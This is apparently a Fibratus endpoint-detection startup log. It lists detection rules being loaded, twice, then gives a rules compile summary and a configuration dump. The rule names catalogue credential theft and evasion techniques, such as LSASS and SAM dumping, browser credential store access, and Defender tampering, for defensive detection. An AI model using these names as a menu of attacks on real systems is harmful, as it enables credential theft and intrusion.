C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:21:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T17:21:30+01:00 level=info msg=bootstrapping with pid 6148. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:21:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ min-buffers=>16 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-handle=>false buffer-size=>512 enable-audit-api=>true enable-image=>true enable-dns=>false flush-interval=>1s enable-registry=>true enable-vamap=>true enable-thread=>true enable-threadpool=>false enable-net=>true stack-enrichment=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true formatter=>text level=>info] + output ......................... [ amqp=>[ durable=>false enabled=>false exchange=>fibratus timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ passive=>false delivery-mode=>transient] eventlog=>[ level=>info enabled=>false] http=>[ method=>POST tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s endpoints=>[] serializer=>json enabled=>false] elasticsearch=>[ gzip-compression=>false healthcheck-timeout=>5s healthcheck-interval=>10s healthcheck=>true trace-log=>false enabled=>false index-name=>fibratus sniff=>false flush-period=>1s bulk-workers=>1 timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200]] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[] scan-timeout=>10s fastscan=>true excluded-procs=>[]] 